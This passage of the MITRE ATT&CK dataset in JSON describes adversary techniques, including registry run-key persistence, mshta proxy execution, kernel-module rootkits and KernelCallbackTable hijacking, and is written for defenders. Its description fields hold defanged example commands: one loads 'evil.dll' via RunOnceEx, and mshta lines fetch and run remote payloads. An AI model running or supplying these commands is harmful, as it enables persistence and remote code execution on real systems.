                    "url": "https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys"
                },
                {
                    "source_name": "Oddvar Moe RunOnceEx Mar 2018",
                    "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.",
                    "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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            "modified": "2026-05-12T15:12:00.706Z",
            "name": "Registry Run Keys / Startup Folder",
            "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>. The startup folder path for all users is <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run automatically for the currently logged-on user.\n\nBy default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
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                    "description": "CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020.",
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                    "url": "https://attack.mitre.org/techniques/T1170",
                    "external_id": "T1170"
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                {
                    "source_name": "Wikipedia HTML Application",
                    "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
                    "url": "https://en.wikipedia.org/wiki/HTML_Application"
                },
                {
                    "source_name": "MSDN HTML Applications",
                    "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
                    "url": "https://msdn.microsoft.com/library/ms536471.aspx"
                },
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
                    "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
                },
                {
                    "source_name": "Red Canary HTA Abuse Part Deux",
                    "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
                    "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
                },
                {
                    "source_name": "FireEye Attacks Leveraging HTA",
                    "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html"
                },
                {
                    "source_name": "Airbus Security Kovter Analysis",
                    "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.",
                    "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"
                },
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                },
                {
                    "source_name": "LOLBAS Mshta",
                    "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/"
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            "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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                    "source_name": "Palo Alto OilRig Oct 2016",
                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
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                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
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                    "url": "https://attack.mitre.org/techniques/T1547/006",
                    "external_id": "T1547.006"
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                {
                    "source_name": "Apple Developer Configuration Profile",
                    "description": "Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.",
                    "url": "https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf"
                },
                {
                    "source_name": "Apple Kernel Extension Deprecation",
                    "description": "Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020.",
                    "url": "https://developer.apple.com/support/kernel-extensions/"
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                {
                    "source_name": "System and kernel extensions in macOS",
                    "description": "Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022.",
                    "url": "https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web"
                },
                {
                    "source_name": "GitHub Reptile",
                    "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.",
                    "url": "https://github.com/f0rb1dd3n/Reptile"
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                    "source_name": "Volatility Phalanx2",
                    "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.",
                    "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html"
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                {
                    "source_name": "iDefense Rootkit Overview",
                    "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved September 12, 2024.",
                    "url": "https://www.megasecurity.org/papers/Rootkits.pdf"
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                {
                    "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs",
                    "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved November 17, 2024.",
                    "url": "https://tldp.org/HOWTO/Module-HOWTO/x197.html"
                },
                {
                    "source_name": "CrowdStrike Linux Rootkit",
                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
                    "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"
                },
                {
                    "source_name": "GitHub Diamorphine",
                    "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.",
                    "url": "https://github.com/m0nad/Diamorphine"
                },
                {
                    "source_name": "Securelist Ventir",
                    "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.",
                    "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/"
                },
                {
                    "source_name": "User Approved Kernel Extension Pike\u2019s",
                    "description": "Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading\u2026. Retrieved September 23, 2021.",
                    "url": "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/"
                },
                {
                    "source_name": "Linux Kernel Module Programming Guide",
                    "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved November 17, 2024.",
                    "url": "https://tldp.org/LDP/lkmpg/2.4/html/x437.html"
                },
                {
                    "source_name": "Linux Kernel Programming",
                    "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
                    "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
                },
                {
                    "source_name": "Trend Micro Skidmap",
                    "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/"
                },
                {
                    "source_name": "Purves Kextpocalypse 2",
                    "description": "Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.",
                    "url": "https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/"
                },
                {
                    "source_name": "RSAC 2015 San Francisco Patrick Wardle",
                    "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Synack Secure Kernel Extension Broken",
                    "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved November 17, 2024.",
                    "url": "https://objective-see.org/blog/blog_0x21.html"
                },
                {
                    "source_name": "Wikipedia Loadable Kernel Module",
                    "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux"
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            "name": "Kernel Modules and Extensions",
            "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)",
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                    "url": "https://attack.mitre.org/techniques/T1678",
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                {
                    "source_name": "Joe Sec Nymaim",
                    "description": "Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.",
                    "url": "https://www.joesecurity.org/blog/3660886847485093803"
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                {
                    "source_name": "Joe Sec Trickbot",
                    "description": "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.",
                    "url": "https://www.joesecurity.org/blog/498839998833561473"
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                {
                    "source_name": "Revil Independence Day",
                    "description": "Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.",
                    "url": "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/"
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                {
                    "source_name": "Netskope Nitol",
                    "description": "Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.",
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                {
                    "source_name": "LogRhythm Do You Trust Oct 2014",
                    "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.",
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                    "source_name": "Spoofing credential dialogs",
                    "description": "Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021.",
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                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
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                    "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.",
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            "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs)\n\nAdversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., [Browser Information Discovery](https://attack.mitre.org/techniques/T1217) and/or [Application Window Discovery](https://attack.mitre.org/techniques/T1010)) to spoof prompts when users are naturally accessing sensitive sites/data.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
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                {
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                    "phase_name": "credential-access"
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            "x_mitre_contributors": [
                "Matthew Molyett, @s1air, Cisco Talos"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c",
            "created": "2017-05-31T21:31:11.623Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1097",
                    "external_id": "T1097"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/645.html",
                    "external_id": "CAPEC-645"
                },
                {
                    "source_name": "ADSecurity AD Kerberos Attacks",
                    "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                    "url": "https://adsecurity.org/?p=556"
                },
                {
                    "source_name": "GentilKiwi Pass the Ticket",
                    "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.",
                    "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
                },
                {
                    "source_name": "Campbell 2014",
                    "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.",
                    "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf"
                },
                {
                    "source_name": "CERT-EU Golden Ticket Protection",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
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            "name": "Pass the Ticket",
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                    "phase_name": "lateral-movement"
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            "x_mitre_contributors": [
                "Ryan Becwar",
                "Vincent Le Toux"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "created": "2026-04-14T22:54:05.016Z",
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                    "url": "https://attack.mitre.org/techniques/T1686/002",
                    "external_id": "T1686.002"
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                    "source_name": "CVE-2024-55591 Detail",
                    "description": "NIST NVD. (2025, January 22). Retrieved September 22, 2025.",
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                    "phase_name": "defense-impairment"
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            "x_mitre_contributors": [
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                "Tommaso Tosi, @tosto92, InTheCyber"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0",
            "created": "2020-10-01T02:08:33.977Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1588/002",
                    "external_id": "T1588.002"
                },
                {
                    "source_name": "Sentinel Labs Top Tier Target 2025",
                    "description": " Tom Hegel, Aleksandar Milenkoski & Jim Walter. (2025, April 28). Top Tier Target | What It Takes to Defend a Cybersecurity Company from Today\u2019s Adversaries. Retrieved May 22, 2025.",
                    "url": "https://www.sentinelone.com/labs/top-tier-target-what-it-takes-to-defend-a-cybersecurity-company-from-todays-adversaries/"
                },
                {
                    "source_name": "Analyzing CS Dec 2020",
                    "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.",
                    "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/"
                },
                {
                    "source_name": "Recorded Future Beacon 2019",
                    "description": "Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved September 16, 2024.",
                    "url": "https://www.recordedfuture.com/blog/identifying-cobalt-strike-servers"
                },
                {
                    "source_name": "Forescout Conti Leaks 2022",
                    "description": "Vedere Labs. (2022, March 11). Analysis of Conti Leaks. Retrieved May 22, 2025.",
                    "url": "https://www.forescout.com/resources/analysis-of-conti-leaks/"
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            "modified": "2026-05-12T15:12:00.706Z",
            "name": "Tool",
            "description": "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). \n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing \u2013 for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.(Citation: Forescout Conti Leaks 2022)(Citation: Sentinel Labs Top Tier Target 2025)\n\nTool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.(Citation: Recorded Future Beacon 2019)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
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            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "SOCCRATES",
                "Mnemonic AS",
                "Menachem Goldstein"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2"
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            "type": "attack-pattern",
            "id": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829",
            "created": "2020-03-11T13:50:11.467Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1052/001",
                    "external_id": "T1052.001"
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            "object_marking_refs": [
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            "modified": "2025-10-24T17:49:10.994Z",
            "name": "Exfiltration over USB",
            "description": "Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.",
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "type": "attack-pattern",
            "id": "attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde",
            "created": "2022-02-25T15:27:44.927Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/013",
                    "external_id": "T1574.013"
                },
                {
                    "source_name": "FinFisher exposed ",
                    "description": "Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"
                },
                {
                    "source_name": "NtQueryInformationProcess",
                    "description": "Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess"
                },
                {
                    "source_name": "Windows Process Injection KernelCallbackTable",
                    "description": "odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022.",
                    "url": "https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/"
                },
                {
                    "source_name": "Lazarus APT January 2022",
                    "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.",
                    "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/"
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            "modified": "2026-05-12T15:12:00.706Z",
            "name": "KernelCallbackTable",
            "description": "Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code> [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.",
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                    "phase_name": "stealth"
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "type": "attack-pattern",
            "id": "attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4",
            "created": "2020-10-02T17:01:42.558Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1597",
                    "external_id": "T1597"
                },
                {
                    "source_name": "ZDNET Selling Data",
                    "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.",
                    "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/"
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            "modified": "2025-10-24T17:49:11.164Z",
            "name": "Search Closed Sources",
            "description": "Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
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                    "phase_name": "reconnaissance"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
